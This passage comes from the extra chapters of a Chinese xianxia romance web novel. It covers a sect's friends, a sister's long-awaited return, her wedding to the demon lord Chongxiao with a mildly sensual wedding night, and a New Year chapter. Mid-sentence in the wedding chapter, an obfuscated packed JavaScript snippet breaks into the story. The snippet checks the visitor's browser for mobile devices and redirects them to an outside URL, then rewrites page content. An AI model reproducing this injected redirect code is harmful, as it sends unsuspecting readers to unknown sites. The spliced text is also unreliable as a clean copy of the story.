他并未刻意压低声音,那身影明显也听到了,他脚步一顿,回过身来,露出了一张清俊的面容。只是这副面容现在却饱含怒气:“什么老头?好好睁开你的眼睛看看!” 扶岳本便心直口快,话说出口时根本没有多想,此刻憨笑几声,爽快认错道:“是我眼拙,还望公子见谅。” 梁惜时看了一眼他身上宗服,心下了然:“谢师兄怎得一人在此?何不去领略一番城内风光?” 扶岳一听这话,恍然大悟道:“原是谢师兄。”是了,这一头白发,除了谢既微还能有谁?掌门唯一的亲传弟子,百年难遇的天生剑体。扶岳以往没少听宗内弟子说起他,但因他不常露面,几人这还是第一次亲眼见到他。 谢既微的神色黯淡了一瞬:“我要练剑,后日便是擂台赛了,我不能给师尊和谢家丢脸。” 扶岳非常自来熟地搭住他的肩膀:“也不差那一天两天的,该玩还是要玩嘛。” 梁惜时也说:“不错,况且以谢师兄的天资,同辈之中怕是无人能比得上,又谈何丢脸?” “我...”谢既微有几分犹疑。他也可以出去玩么? 梁惜因扯了扯他的袖子,仰着脸说:“谢师兄,一起来玩吧,我知道这城中哪里好玩,你跟着我们就好了。” 谢既微沉默地望着这三张笑面。肩上的担子太重,几乎要令他忘了,他也不过是个十几岁的少年,正是精力充沛之时。 又过了须臾,谢既微的眉眼舒展开来,也露出了一个笑:“好,那就...去玩一会。” 交流盛会很快就结束了。不出所料的,谢既微的表现是同辈中最出色的,甚至还战胜了修为比他高一境界的师兄师姐,使得他更是声名鹊起,几乎整个修仙界都知道了有这么一号杰出的后辈。 但在玄晖宗内,梁惜因几人却是更难见到他了。这日,三人守在天枢峰的练功堂外,直等到所有弟子都走光了,才见谢既微从里面出来。他见了三人,惊喜道:“你们怎么来了?” 梁惜时:“是阿因想来见你。” 梁惜因:“扶岳师兄说要来找你玩。” 扶岳:“还不是梁师弟说好久没见着你了。” 三人答得异口同声。 谢既微:“......” 他失笑道:“既然来了,便一同去饭堂用饭吧。” 扶岳还是头一回来天枢峰用饭,只能说天枢峰不愧是主峰,光是菜品就比他所在的开阳峰要丰富不少。谢既微看着他盘中堆得像小山一般的饭菜,欲言又止。 梁惜时习以为常地道:“不用管他,他吃得完。”他娴熟地给梁惜因剖着虾,“倒是谢师兄,先前在平州时说会来找我们,可这一连多日都不见谢师兄来,我们便也只好自己找来了。” 谢既微搁了筷子,笑容里含了丝苦涩:“不是我不想来,只是实在不得空闲。从儿时起,母亲便时常告诫我,唯有比旁人更用功,方不算辜负上天给予的天赋。” “还有师尊。此事也用不着瞒着你们,师尊说会把掌门之位传给我,是以除了剑法,我还需学着处理宗门事务。母亲养育我,师尊教导我,我不能辜负他们的期望。” 梁惜因一直在小口喝着面前的甜羹,闻言说道:“可是谢师兄,你就没有自己想做的事么?” 谢既微一怔,他自己想做的事?从未有人这么问过他,他也从未想过这个问题。他只知道,前方的路早已被铺好,他只要照着走便行,不能出一丝一毫的差错。 扶岳手上拿着个鸡腿:“是啊谢师兄,管那么多干嘛,开心最重要!” 梁惜时笑着说:“我知谢师兄身负家族和宗门重望,但总会有闲暇之时,届时我们三个再来叨扰,还望谢师兄莫要嫌弃。” “怎会。”谢既微答得极快,压在心口的重石似是被稍稍挪动了些许,让他终得喘息片刻。半晌,他喃喃道:“谢谢。” 岁月在日复一日的平静中悄无声息地流逝着,四人走遍了玄晖宗的各个角落,一同修炼功法,又一同下山除魔,好像只要聚在一起,那些愁绪便会消散殆尽。转眼功夫,谢既微就继任了掌门,梁惜因三人则各自担任峰主。 四人和以往一样聚在天枢峰上,周围来往弟子的面孔不断变化着,景色却仍与往常无异。好似什么都变了,又好似什么都没变。 几人围坐在谢既微所居的掌门院落中,天边云卷云舒,杯中清酒浓醇。 谢既微小酌一口,由衷感慨道:“这当了掌门,反倒比当弟子时要轻松些。”不必再起早贪黑地练习剑法,母亲对他的管缚也松了不少。 扶岳半开玩笑道:“那正好也省得我每次都跑到天枢峰来,除了摇光峰,就属开阳峰离天枢峰最远,我又不像他们能设阵过来,每次都要走上好一会。” 谢既微无语:“你一个体修多跑跑怎么了?” 梁惜因抿了口酒,插话道:“其实 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梁惜时有时会想,若是他当年不带梁惜因去参加试炼,那此后的一切是不是都不会发生?他们会像无数普通人一样长大、衰老、死亡。这中间他们或许会分开,但流淌在血缘中的亲情永远也无法泯灭。 心中传来阵阵抽痛,梁惜时皱眉,一手按在胸口上,微微蜷缩着身子。仙魔大战过去已近一年,但他只要一想起梁惜因,想起他从小带大的妹妹,心脏就会涌起痛意。 也只有疼痛,才能抑住胸腔中汹涌如潮水的思念与悲苦。也正是因此,他才很少去天玑峰和天璇峰,那熟悉的一草一木,在他眼中无不诉说着离情。尤其是峰主院落,里头承载了太多太多的回忆,只要稍稍靠近,他就觉着自己好似溺在水中,心痛得窒息。 有一段时日,他总感觉梁惜因还在他身边,就和往常无数个日子一样。可他却找不到她,走遍了每处地方都找不到她。 她不在了。这玄晖宗,也早已不再是当年的玄晖宗了。 梁惜时又缓了好一会,才起身下床。他披上外袍,推开了窗子,果见乌云滚滚。自入春以来,天已是一连阴了好几日。待穿戴整齐后,他走出门,在这一年里第一次走出玄晖宗。 就在前一日,玄仪子亲自找上了门。他仍旧坐在那龟甲之上,分明弯着笑眼,却令人看不出他真实的情绪。他对梁惜时说:“我昨日算了一卦,那几重阵法,你抽个时间给移到平野上去。” 他这话乍听突兀,梁惜时却并不觉惊讶。他虽未将自己所做之事告知玄仪子,但玄仪子要是不知道才奇怪,这世上鲜少有事情能瞒得过他。 呼吸渐渐急促,一个想法慢慢浮现在梁惜时脑中,他急切地问道:“前辈的意思是,平野之上...” 他还没说完就被打断了,玄仪子一指抵在唇边,对他眨了眨眼:“天定的机缘,谁又说得准呢?” 他未再久留,顺了几块点心就走了,桌上的茶水倒是一口未动。 移阵法的消耗自是不小,等按玄仪子所言做完一切后,梁惜时面色苍白,指尖轻颤,已是虚弱得难以走动了。饶是在他做凡人时,也从未有过这般虚弱的时刻。 体内一片平静,感受不到丝毫灵力的波动。他勉力走了几步,在一块石头上坐下了。坠了好些天的乌云终于在此刻淅淅沥沥地下起雨来,雨丝打在梁惜时身上,丝丝缕缕的寒意攀附着他,直渗进骨头缝中。 梁惜时没有动,任凭青衣被洇湿。细雨无声地润泽万物,一股淡香萦在梁惜时的鼻间。他抬眸望去,见不远处有几树梨花盛放,片片皎白的花瓣在绵绵的细雨中变得朦胧起来,好似笼上了一层光晕,如月般莹润。 是了,这股香味他再熟悉不过了。梁惜时摇晃着向前走去,香味愈渐浓烈,过往的记忆断续地涌现在他脑中,一帧帧,一幕幕,恍如昨日。 他用手轻轻托起一瓣莹白,面上流过的水痕不知是雨是泪。 一别如斯,落尽梨花月又西。 天色越发昏沉,梁惜时回到侧峰上,见一白发白衣之人站在自己的院落门前。 梁惜时走过去,笑问道:“怎么不进去?” 谢既微闻声回头:“也是才来没多久,天色不早了,想着你也是快回来了。”见梁惜时浑身湿透,他微不可察地皱了皱眉。这般任自己被雨淋湿,梁惜时竟是已虚弱到连最基本的避雨符和暖身诀都使不出来了吗? 他并未多言,只是轻动手指,梁惜时全身便清爽如初,一阵暖意从脚底升起,将他整个人都包在了其中。 “走吧。”谢既微回身,推开了院门。 梁惜时笑了笑,也像什么都没发生一般,跟在他身后进去了。 窗外雨声不绝,谢既微拨着茶沫,缓声说:“从明日起,我便要闭关了。” 梁惜时并不意外:“也好。正好仔细调理一番你在战中受的伤。” 谢既微默了默,屋内只点燃了桌上这一盏烛火,跳动的烛光在两人面上留下斑驳的光影。他似是叹了一声,说道:“惜时,你的修为...” 梁惜时打断他:“会恢复的,根骨还在,又不是不能再练。” “那你日后...还会居于此吗?” 梁惜时点头:“我要在这里等她,等她回来。” “惜时...”谢既微没再说下去。这一年来,不只是梁惜时,他和扶岳也俱是煎熬。从小一起长大的、宛若亲人般的好友,到头来却走得那般突然。 原来对修士来说,生死也不过是一瞬间的事。时间并不能抹平伤痛,心口上到底是被留下了一道疤,再难愈合。 但谢既微身为掌门,必须尽快从情绪中抽离出来,去接受事实。不论如何,玄晖宗还在,活着的修士需要他的带领。 他知自己是劝不动面前的好友了,能有这么个念想,也总比万念俱灰要好,他转而说:“扶岳去沧州除魔了,这几日应该就能回来。沧州雪山脚下的灵霜兰对修行极有助益,他届时也定会给你带一些来。” 梁惜时想了想扶岳那性子,说:“怕是整座山的灵霜兰都要落入他手中了。” 谢既微唇角轻扬:“无妨,拿去玉衡峰炼成丹药也好,能助你的修为早日恢复。” “嗯。”梁惜时垂眸,淡声应道。谢既微现在还不知道真相,但他的身子究竟如何,他自己再清楚不过。这身修为,怕是再难恢复了。 夜色渐深,梁惜时目送着谢既微踩着月光离去,独自回到院中打坐。他感受着平野上阵法的运行,感受着里头被滋养的残魂,一遍遍地告诉自己——她会回来的。 岁月奔走,两百多年的光阴倥偬而逝。各门各派逐渐从战争中恢复过来,仙魔大战慢慢成了饭后谈资,对新入门的小辈来说更是如传说一般的存在。 这日,梁惜时同以往一样,与刚出关的谢既微闲谈着。就在他要送谢既微出门之时,鲜血自他口中涌出。巨大的惊愕与欣喜将他淹没,他丝毫顾不得阵破后在四肢百骸间游走的痛楚,紧紧拉着与他同样震惊的谢既微,“是阿因,就在平野...” 他当真,等来了这一天。 110. 番外三 大婚 新雪消融,春光旖旎之际,天璇峰的落雪轩迎来了一场婚礼。 一树梨花开得比往日更盛,洁白的花瓣铺了满地,与院中满是喜色的红交相映衬着,向众人昭告着今日的这场喜事。修仙界的婚礼并不像凡间那般繁琐,但宴请宾客却是少不了的。婚礼规模不大,邀请的人也并不多,只有与梁惜因相熟之人和一些魔族,恰好将小院填了个满满当当,却又不嫌拥挤。 梁惜因坐在梳妆台前,镜中的女子本便相貌清绝,此刻细细地抹上脂粉,更使得她整个人华骨端凝,美似画中人。肤质细腻,柳眉纤长,丹唇樱口,双颊上透着隐隐的红晕,眉目流转间,风华自现。 她身着繁复迤逦的红色嫁衣,所戴的饰品皆是由重霄亲手制成的,在日光下流溢着烁目的微芒。今日虽是新婚,房内却处处充满着二人生活的痕迹,衣橱里多了几件男子的衣物,桌上是两人一同整理的阵法书册,床边的小几上摆着此前在皇城夜市中做的泥人,就连窗沿上的花也是两人前些时日一道从民间采来的,因施了术法,至今还保存得很新鲜。 林韵舒双手轻按在梁惜因的肩上,弯腰凑上前来看着镜中的面容,感慨道:“含盈可真漂亮,总觉着便宜魔尊了。” 梁书芸以手掩唇,轻笑几声,跟着打趣道:“可不是,这天底下有谁能配得上四妹?” 自离了梁府,梁书芸便一直行走于世间,看山山水水、世态万千。她第一次知道,原来闺阁之外,还有如此广阔的天地。她早已褪去了那身官家小姐的锦衣华服,只着素衣轻袍,面上不施粉黛,却较先前更为动人,眸中光彩熠熠。 梁惜因睨了她们一眼,也玩笑道:“照你们这般说,这婚礼也不用办了。” “这怎么成。”梁书芸忙道:“郎才女貌、两情相悦,简直就是天定的姻缘。” 距吉时还有一段时间,两人便在这陪着梁惜因说话。 梁书芸问:“四妹,你可紧张?” 梁惜因摇了摇头,淡笑道:“没什么好紧张的。”这结为道侣虽是一生中的大事,但对梁惜因而言,一切不过是水到渠成,再自然不过了。办这场婚礼,也是为了告诉天下人——他们相爱着。 林韵舒笑了笑,想起了某段回忆:“我成婚时还是有几分紧张的,不过那老虎比我更甚,进了洞房后就晕头转向的,半天也说出一句话来。” 说着,她凑到梁惜因耳边,悄声问:“含盈,我给你的那些书你可都看了?” 梁惜因淡定点头,可一抹红色却悄然爬上她耳畔。她曾在现世生活过二十来年,原以为这些对她而言已不算什么了,但她很快就发现自己想错了,林韵舒也不知是从哪搞来的这些书,里头的内容简直令她叹为观止。她昨日不过匆匆翻上几页便将书藏起来了,在不断加快的心跳声中想着——幸好重霄此时不在她身侧。 梁书芸面露好奇:“你们在说什么?” “没什么。”梁惜因清了清嗓子,怕她追问下去,转而又问她道:“三姐这几日在玄晖宗住得可还适应?” 梁书芸点头,果然没再纠结方才的事:“还要多谢燕仙长带我四处观览,这修仙门派中的景致,果与人间不同。”她知自己于此道上并无天赋,是以也从未想过要留下来,能来这么一趟,对她来说已足够了。 几番话间,就有人来通知吉时到了。林韵舒又检查了遍梁惜因的妆容,梁书芸则小心地扶着她起身。待出了房门,梁惜因一眼便望见了院中玉立着的身影。 重霄第一次穿颜色这般鲜艳的衣服,淡漠的眉眼沾染上了烟火气息,艳而不妖。靡丽的大红将他的肤色衬得更白,而他那双漆黑的瞳孔此刻只装得下梁惜因一人。 四目相对间,重霄弯了唇角,无声唤道:“阿因。” 他并未出声,但梁惜因却能想象出他的语气,必定是温柔的、满含缱绻的,与他此时的眼神一样。梁惜因面上一热,匆忙移开视线。她觉着自己实在是没出息,只是一道眼神、一个口型,就令她心内如此马乱兵荒。 无数次在梦中出现过的场景终于变成现实,重霄向面前人伸出手,连呼吸都不敢用力,生怕眼前景象会像以往那些梦一样,泡沫般触之即碎。 但这次必然不会了。梁惜因一步步走向他,缓慢而又坚定。身后的喜服曳在满院的梨花瓣之上,浸满了清幽的花香。两手相执之时,重霄只觉他一颗心都有了归属。 梁惜时眼眶泛红,看向梁惜因的目光中满是不舍与祝愿。从他当上哥哥的那一刻起,他便知晓迟早会有这么一天。虽说这一天隔了几百年才来,但他还是觉着自己没准备好。 视线移向重霄,他又变得不满起来。说实话,他至今都没想明白自家妹妹到底是怎么看上这小子的。 可当这二人一齐身穿喜服出现在他面前时,又显得那样般配,天造地设一般。梁惜时阖了阖眸子,压下即将涌出的泪水。他的妹妹,合该是要幸福的。 拜完天地后,二人一同来到宴席上,与宾客们敬酒。 席间一片喧闹,觥筹交错之间,但闻笑语声声。燕明昭的目光一直跟随着梁惜因,一手托着下巴道:“含盈前辈今日可真好看,跟天上下来的仙女似的。” 柳甫畅摇着手中折扇,状似不经意地说:“等我们成亲的时候,阿昭穿上喜服的样子也定然很美。” 面颊染上酡红,燕明昭瞪大眼睛,欲盖弥彰道:“谁要跟你成亲啊?” “啪—”柳甫畅将扇子合起,凑到燕明昭面前,故作委屈地说:“莫非阿昭想要始乱终弃?” “这个词是这么用的吗?!”燕明昭不看他,一掌将他的脸推到一边。 正和叶天舟互相灌酒的杜昱被吓了一跳,手中的酒险些洒到了柳甫畅头上:“哎呦我去,什么玩意啊?” 柳甫畅:“......” 殷照本便好酒,此时更是直接抱着酒坛豪饮,酒意一上头,那些个辈分差异全都被他抛在了脑后,打着酒嗝对梁惜因说:“小徒儿!要是他待你有一点不好,你就来找为师,为师和你师兄师姐们定会为你出这口气!” 梁惜因又是好笑又是感动:“师尊,你醉了。” 殷照迷瞪着双眼,还在嘴硬:“我没醉,我还能喝!” 梁惜因还欲再言,却忽觉有一毛绒绒的东西从脚边滚过。她立时猜到了什么,偏头望去,就见一缩小了体型的老虎正在梨花堆上撒欢,浑身都透着酒气。 常谧欲言又止,对身旁的林韵舒道:“林前辈,扶前辈他...” 林韵舒捂住脸:“别说我认识他。”她叹了口气,还是站起身,“我记得苏姑娘那有醒酒丸。” 玄仪子没喝酒,倒是把桌上的点心都霍霍的差不多了,他一抹嘴角,从袖中摸出一串铜钱,对走到身前的梁惜因和重霄说:“大喜之日,我再给你们算上一卦。” 梁惜因低头看着他排列开的铜钱:“前辈,这卦象是何意?” 玄仪子笑眼盈盈,并未明说,而是吟出一句诗来:“身无彩凤双飞翼,心有灵犀一点通。” 再往前,是一张被魔族围坐起来的桌子。关于要不要请魔族,谢既微几人很是犹豫了一番,毕竟这关乎着全宗的安危,还是梁惜因再三向他们保证:“漆吴山的魔族都很乖的,和阿霄一样。” 谢既微几人:“......”更不放心了好吗! 但最终他们还是同意了,左右身为魔尊的重霄也在这里,还有他们看顾着,出不了什么岔子。 闻影擦了擦眼角,激动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068534|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得仿佛是他今日成婚,那些个魔族也无一例外,纷纷哽咽着说:“能参加魔尊的婚礼,小的是死而无憾了。” “我这辈子也忘不了这一天了,回去就讲给乡亲们听。” 闻影一把扒拉开众魔,挤到最前面,将梁惜因和重霄恭维得天上有地下无,最后眼泛泪光地说:“老大和夫人定会长长久久,一直幸福下去。” 谢既微坐在前方,却是一点掌门架子也无,和小辈们一同玩闹着;纪长天和旁人说着话,面上的红意不知是出于醉意还是紧张;谢淳一手撑着脑袋,任凭同样醉醺醺的江映和往他脸上贴着空白符箓...... 院中是亲友故旧,身侧是爱人相陪,梁惜因身着喜服,饮着清酒,一时就连岁月也变得温柔起来。 待到月上枝头,宾客都陆续地离开了。梁惜因坐在床沿,心跳声在寂静的室内格外明显。 门帘轻动,重霄走了进来。他将门关上,缓步走向梁惜因。 那脚步声就如踏在梁惜因心间,使得她心跳愈发剧烈。梁惜因觉着有必要打破屋中的静默了,“人都走了么?”她问。 “嗯,都走了。”重霄走到她面前蹲下,抬眸注视着她。 梁惜因能在他眼中望见自己的倒影和那汹涌的情意,分明克制着没喝多少酒,她却实实在在地感受到自己仿佛也醉了。 心头一紧,梁惜因问他:“看着我做甚?”她语调极轻,像一根羽毛撩动着重霄的心。 重霄握住她的手,嗓音微哑:“看阿因好美。” 这最为质朴的话语,却令梁惜因面上烧红了一片。 重霄托着她的手抚在了自己脸上,满面缱绻柔情:“阿因,接下来...就剩我们两个人了。” 不知是谁先主动的,等梁惜因反应过来时,她已被重霄压在了床上,激烈地吻在一处。 酒不醉人人自醉。酒香、梨花香,还有重霄身上那令她无比熟悉的气息,悉数向梁惜因涌来,搅得她大脑一片空白。口腔中的气息被掠夺着,梁惜因双臂攀上重霄的肩膀,慢慢回应着他。 一吻闭,不止面颊,连梁惜因那白皙如玉的脖颈都泛上了淡淡的粉色,似天边晚霞,又似春日红樱。她眼角隐隐泛出泪花,正喘息着平复呼吸,眼中心中俱是重霄一人。 重霄喉间滚动,他缓慢俯身,将脸埋在梁惜因的肩窝处,柔声唤道:“师尊...”他往日从来不敢多想的情形、那无数次的午夜梦回,终得在此时实现。 净身诀施过,酒香慢慢淡去。温热的呼吸喷洒在梁惜因肩颈处,使她不由得浑身一颤。双手的力道加重了些,她的话音中带着几分破碎和极度的羞赧:“不要...叫我师尊...” 重霄语调轻柔,手上的动作却是一点没停。鲜艳的喜服褪去,早春的空气犹带着丝丝凉意,刺激得梁惜因身子轻颤。她抬起一手,掌心向上,遮住半张脸,低低唤道:“阿霄...” 重霄动作一顿,一向毫无血色的肌肤也透着薄红。他低头,在梁惜因颈间留下一连串细密的吻。 床帘落下,重霄自己的衣服也被解去。前几日扶岳给他送来了不少书册,让他好生学习一番,往后定能派上大用,可等真正到了这种时候,他的动作依旧稚拙,书里看来的东西竟是忘了大半。 夜色深浓,烛火轻摇。直到红烛快要燃尽之时,床帐中的动静才渐渐止息下来。 重霄紧紧抱着梁惜因,在这层叠的帘帐之下,天地似乎都远去了,整个世界只剩下他和他的爱人。两人的长发交叠在一起,早已分不清彼此。重霄将梁惜因面上的碎发拨到耳后,又在她眉间轻柔地落下一个吻。 光阴流转,岁月湮灭,世间万物都将走向消亡的尽头。 唯有爱意长存。 111. 番外四 新年 顾望是在今年入天璇峰的。 他本是凡间一小官之子,去参加玄晖宗的招新试炼也纯粹是试试运气,没曾想运气竟这么好,他当真被一位仙长给看中了。 离家那日,父亲紧紧拉着他的手:“儿啊,我顾家的祖坟冒青烟了啊。既是入了宗门,就要潜心向学,万不可丢了顾家的脸面。” 母亲在一旁抹泪:“儿啊,身子最重要,也别用功用过了头,记得常回来看看。” 贺望深深一拜,从此别了父母。转过身的那一刻,他用袖子擦去溢出的泪水,暗自下了决心,从今日起,他誓要努力修行,除魔卫道,不辜负父母,也不辜负苍生。 可近一个月下来,他不得不承认,理想和现实还是有差距的。 这日,他早早来到练功堂内,重温着昨日新学的阵法。不多时,谢淳走了进来,笑着打招呼道:“小师弟,今日也来得这般早啊。” 贺望一激灵,立马站起身,嗓音洪亮:“大师兄早上好!” “早上好。”谢淳拍了拍他的肩,示意他坐下。今日的小师弟也是如此有活力呢。 又过了好一会,燕明昭才打着哈欠过来,柳甫畅揽着她的肩,与她一同走了进来。 谢淳轻咳一声,虽没有明说,目光中的含意却再明显不过——小师弟还在呢,你俩注意点。 燕明昭会意,毫不留情地将柳甫畅推到了一边。察觉到柳甫畅委屈的眼神后,她又于心不忍,揉了揉他的脑袋。 柳甫畅顿时眉开眼笑,顶着一头翘起的毛向里边走去。 谢淳:“......”没眼看。 贺望:“......”哇哦。 四人在各自的位置上坐着,贺望抬头瞅了眼三个师兄师姐,忍不住问道:“师尊怎么还没来?” 燕明昭复又站起身:“看来今日是不会来了,我回去补觉去了。” 柳甫畅亦步亦趋:“师姐,等等我!” 谢淳:“......”师妹去补觉为什么你也要跟着。 就在两人快走到门口之时,一道身影跌跌撞撞地跑了进来。殷照敞着衣领,浑身酒气,怀中还抱着个酒坛:“来,乖徒们,今日我们来学怎么布酒...不对,是酒阵...也不对,那个词怎么说来着...” 他步履不稳,边晃悠边说,最后直接柔若无骨地倒在了地上。转眼间,一阵鼾声传来。 谢淳再度:“......”这学的是速睡吧?! 他维系着摇摇欲坠的笑意,扭头对目瞪口呆的贺望说:“小师弟,习惯就好,师尊醉酒的次数比起从前已是低多了。” 贺望:“......”一个月三次原来已经算是低的了吗。 他把书合上,关切问道:“那我们要不要扶师尊回房?”总不能让他就这么在地上躺着吧?? 怎料燕明昭说:“无妨,不用管他,他自己会摸索着爬回去。” 贺望想象了一下那副场景...很好,想象不出来。 他还欲再说些什么,却听得他一向认为最是靠谱的大师兄也赞同了这话:“不错,我们回去吧。” 几人走出练功堂,贺望又回头望了殷照一眼,就见他在地上睡得正香,似乎是嫌光太亮,还用小臂遮住了双眼。 贺望:“......” “师弟。” 听见柳甫畅在唤自己,贺望立时回过神来:“怎么了,二师兄?” 柳甫畅用扇子指了指不远处的一片灵植:“你看那是什么。” 贺望不疑有他,向那片灵植走去。然而就在快要走到之时,他的身影却凭空消失了,徒留手上拿着的书落在了原地。 燕明昭用手肘碰了碰他:“你怎么能欺负人小师弟呢?” 柳甫畅将折扇展开,面色坦然:“这锻炼的事怎么能叫欺负呢,况且这不过是最简单的一道迷阵,师弟不出半日就能出来。” 说着,他用扇尖点了点谢淳:“师兄,我看出来你在憋笑了。” 谢淳:“......” “我没有...噗。” 柳甫畅:“......” 燕明昭:“......” 两人对视一眼,也俱是笑了起来。 虽然总觉着峰内处处透着不靠谱,但贺望还是逐渐适应了下来,修为也在增长着。经过不断的重复和失败,他终于成功布出了第一道缩地阵。 以他现在的修为,只能移动一小段距离,但这已足够令他欣喜了。他站在自己所居的弟子院落中,一会把自己从院东传到院西,一会又把自己从院南传到院北。 于是燕明昭推开院门后,看见的就是在院中各个角落突然出现,又突然消失的贺望。 燕明昭:“......” 贺望玩得不亦乐乎,丝毫没察觉到有人进来了。直到燕明昭出声唤他:“小师弟。” 贺望身子一僵,缓缓扭过头去,整个人都要熟透了:“师姐,我...” “我敲了几遍门都没回应,便直接进来了。”燕明昭丝毫未提及方才之事,就如没看到一般,“含盈前辈回来了,师尊让我们去主殿。” 身为天璇峰的弟子,贺望自然听说过梁惜因的名号——阵法的一代宗师,凭一己之力劝降了魔尊重霄,功不可没。 这般人物,贺望以往只在书中见过,未曾想自己有朝一日也能亲眼见到。激动瞬间就取代了方才的尴尬,贺望收拾着心情,高声应道:“是,师姐!” 四人来到了主殿中,令贺望没想到的是,殿中除了师尊和一名清丽非常的女子,还立着个极为俊美的男子。在天璇峰内,重霄并未遮掩眉间的纹样与两枚眼下痣,贺望几乎是一眼就看出了他的身份——魔尊。 他脚步慢了下来,迟疑着要不要走上前去。从小到大,他可没少听关于这位的传闻,嗜杀如命、冷血无情...为什么他会出现在这仙门大宗之内?偏偏其余诸人还一点反应也无,好似早便习惯了。 贺望心中蓦地涌出一个想法——莫不是他们都被蛊惑了?这想法乍看荒谬,可贺望越想越觉合理,那可是魔尊诶!能有如此实力也不稀奇吧? 贺望握紧了双拳,只觉自身责任重大,他一个刚入门的弟子,要如何在魔尊的眼皮子底下唤醒峰内前辈? 头顶突然被敲了一下,贺望抬眼,就见柳甫畅握着折扇,正小声提醒他:“发什么呆呢,走快些。” 贺望:“...哦。” 乱七八糟的想法被打断,贺望随着师兄师姐们向里走去。殿内的气氛很是松弛,几人规规矩矩地行了一礼,就都向梁惜因围去。燕明昭站得离梁惜因极近,什么都没说,眼神却时不时地落在她身上。 梁惜因轻笑:“明昭,我身上都要被你盯出个洞来了。”她边说边在乾坤袋中翻找着,“此次下山去了这么久,自然给你们带了礼物。” 柳甫畅调侃道:“师姐这些时日可是天天跟我念叨,前辈要是再不回来,她怕是连下山去找你都做得出来。” 燕明昭瞪他:“你胡说,我才不至于做出这事来!” 柳甫畅有一下没一下地摇着扇子:“是吗,也不知是谁说她太想前...唔唔唔!” 燕明昭捂住他的嘴,重新恢复了面上笑意:“前辈,你别听他说,他睡糊涂了。” 殷照也凑了过来,搓着手掌道:“前辈,魔尊,我也有份吗?” “自然。”梁惜因掏出一小坛酒来,“皇城的松根月,还真是一如既往地难买。” 殷照两眼放光地接过酒坛,欢呼一声道:“前辈若有用得到晚辈之处,晚辈定然义不容辞!” 梁惜因:“......”这人还是一如既往的没个正形。 梁惜因余光瞥见殿中还站着一人,她探出脑袋,笑着说:“这便是新入门的贺望吧,怎么不过来?” 乍然被点名,贺望顿了一瞬。方才眼见几人笑语不断,他心中确实闪过几分艳羡,前辈们的关系比他想象的还要好。他带着些崇拜地注视着他们,想着自己还要修炼多久才能提升境界。 眼下几人都笑眼望着他,贺望这才惊觉他自己其实也是天璇峰的一员。他身子一僵,同手同脚地走了过去,又在梁惜因的要求下僵硬地伸出了手。 掌中被轻轻放上一个小瓷瓶,梁惜因对他说:“这是由碧玄芝制成的丹药,对新入门的修士最是有益,你好好收着。” 贺望又愣住了,他一是没想到这礼物还有自己的份,二是...他在书中看到过,碧玄芝这类珍稀灵植只在漆吴山大量生长着,而漆吴山众所周知是魔族的地盘。 想到这,贺望偷偷瞥向重霄。重霄察觉到他的视线,对他露出了一个极淡的笑容,淡到贺望险些以为这是自己的错觉。这是一个纯粹的笑容,不含任何恶意与嗜血的成分在。 贺望这时第一次意识到传闻不可信,含盈仙子并非是冷心冷面、一心只想着修炼和天下苍生的阵道天才;魔尊重霄也并不是那穷凶极恶、见人就杀的大魔头。 笑意自面上浮现,贺望双手握紧瓷瓶:“晚辈贺望,多谢前辈和魔尊。” 礼物送完后,梁惜因和重霄要去一趟天玑峰,殿中诸人便一同往外走着。贺望小心地将瓷瓶收起,目光又落在走在最前方的二人。等等...他揉了揉眼睛,为什么含盈前辈和魔尊是牵着手的?还有魔尊看向含盈前辈的眼神,他怎么觉着那么熟悉呢... 耳畔响起折扇的开合声,贺望猛地扭头看向柳甫畅。是了,二师兄看师姐的眼神便是如此! 他缓缓张大了嘴巴,劝降...原来是这么个劝降法啊?? 柳甫畅被他盯得渗得慌,走过来一手按住他的头,一手按在他的下巴上,替他将嘴合上了。“怎么了这是?”他问道。 梁惜因和重霄已布阵离开了,殷照也回自己的峰主院落了。谢淳看着贺望呆滞的神情,若有所思道:“说起来,有件事我们是不是忘了和小师弟说了?” “何事?”燕明昭起初还未反应过来,片刻后也意识到了什么,“好像确实没有...” 三人的目光一齐落在了贺望身上,贺望咽了口唾沫,莫名紧张起来。 一炷香后,贺望的嘴巴自再度张开后就没合上过。含盈前辈和魔尊...竟是一对道侣??!话本也不敢写啊!! 燕明昭对此十分感同身受,当年在得知梁惜因的真实身份后,她也是这种心情。她清了清嗓子,说:“现在才告诉你,确实是我们的疏忽。” 毕竟在修仙界,就算两人办得再低调,此事也几乎是无人不知无人不晓。就连她在先前去通知贺望时,都只说了梁惜因一人的名号,毕竟有梁惜因的地方就有重霄在,已经成为众修士心照不宣之事了。但贺望不一样,他来自于凡间。 柳甫畅怕他嘴巴再张下去,这辈子就只能维持这个表情了,于是又好心地替他将嘴合上:“也是这些天前辈都和魔尊都在山下游历,还是马上要过年了才回来,所以我们也都没想起这事来。” 贺望尚未完全缓过神来,闻言怔愣问道:“修士也要过年吗?” “自然。”谢淳笑了笑,揉了把他的发顶,“不论是人、仙、魔还是妖,都是要过年的。” “辞旧岁,迎新朝。” 正月初一当日,各峰峰主和长老一同聚在了天枢峰上,喝酒、赏雪、漫谈... 主殿前方盘着一串爆竹,这些个前辈们在此时俱是忘了自己是修士,推搡了半天才终于推出段凌轩去点火。段凌轩满怀自信地去了,又在爆竹响起的一瞬被吓得蹦出去老远。 新年的第一声爆竹自天枢峰响起,紧接着各峰都响起了爆竹之声。连绵着驱散了旧年的尘埃,欢迎着新岁的到来。 爆竹声声,盖不过人声鼎沸。不论交情如何,此时每个人面上都带着喜色,道喜声和祝福之语不绝于耳。梁惜因和重霄站在人群的后方,重霄环抱住梁惜因,被她脸上的笑意所染,自己扬起的嘴角也一直未曾落下。 梁惜因微微侧过头,两人的距离极近,呼吸交缠。梁惜因笑容更甚:“阿霄,新年快乐。” 她的声音混杂着噼里啪啦的爆竹声,一直流淌进重霄心底,“新年快乐。”他郑重说道。 午宴过后,众人便开始了玄晖宗的传统保留项目——打叶子牌。重霄此前从未参与过这种活动,梁惜因一边和其他三人打着一边教他。 